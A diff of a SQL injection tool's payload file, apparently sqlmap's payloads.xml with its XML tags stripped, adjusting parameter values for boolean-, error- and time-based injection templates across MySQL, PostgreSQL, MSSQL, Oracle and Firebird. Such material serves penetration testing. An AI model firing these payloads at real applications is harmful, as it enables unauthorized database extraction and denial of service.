diff --git a/xml/payloads.xml b/xml/payloads.xml
index 73cd4a8d3..b2b43e7ec 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -508,7 +508,7 @@ Formats:
1
2
1
- 2,3
+ 1,2,3
3
(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))
@@ -524,7 +524,7 @@ Formats:
1
3
1
- 2,3
+ 1,2,3
3
(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))
@@ -544,7 +544,7 @@ Formats:
1
4
1
- 2,3
+ 1,2,3
3
(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
@@ -563,7 +563,7 @@ Formats:
1
3
1
- 3
+ 1,3
3
(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
@@ -582,9 +582,9 @@ Formats:
1
3
1
- 3
+ 1,3
3
- (SELECT (CASE WHEN ([INFERENCE]) > %d) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)
+ (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)
(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)
@@ -798,7 +798,7 @@ Formats:
2
2
1
- 1
+ 2
OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
@@ -818,7 +818,7 @@ Formats:
2
2
1
- 1
+ 2
OR [RANDNUM]=CAST('[DELIMITER_START]'||(%s)::text||'[DELIMITER_STOP]' AS NUMERIC)
OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)
@@ -837,7 +837,7 @@ Formats:
2
2
1
- 1
+ 2
OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(%s)+'[DELIMITER_STOP]'))
OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))
@@ -856,7 +856,7 @@ Formats:
2
2
1
- 1
+ 2
OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((%s),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
@@ -875,7 +875,7 @@ Formats:
3
2
1
- 1
+ 2
OR [RANDNUM]=('[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]')
OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')
@@ -900,7 +900,7 @@ Formats:
2
3
0
- 2,3
+ 1,2,3
3
(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
@@ -920,7 +920,7 @@ Formats:
2
3
0
- 2,3
+ 1,2,3
3
(CAST('[DELIMITER_START]'||(%s)::text||'[DELIMITER_STOP]' AS NUMERIC))
@@ -939,7 +939,7 @@ Formats:
2
3
0
- 3
+ 1,3
3
(CONVERT(INT,('[DELIMITER_START]'+(%s)+'[DELIMITER_STOP]')))
@@ -958,7 +958,7 @@ Formats:
2
3
0
- 3
+ 1,3
3
(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((%s),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
@@ -973,11 +973,11 @@ Formats:
- Firebird error-based - WHERE clause (OR)
+ Firebird error-based - Parameter replace
2
4
0
- 3
+ 1,3
3
(SELECT [RANDNUM]=('[DELIMITER_START]'||(%s)||'[DELIMITER_STOP]'))
@@ -1396,7 +1396,7 @@ Formats:
2
3
1,2,3
- 1
+ 2
OR IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME]))
OR SLEEP([SLEEPTIME])
@@ -1416,7 +1416,7 @@ Formats:
3
3
1,2,3
- 1
+ 2
OR IF(([INFERENCE]), [RANDNUM], BENCHMARK(5000000, MD5('[SLEEPTIME]'))
OR BENCHMARK(5000000, MD5('[SLEEPTIME]'))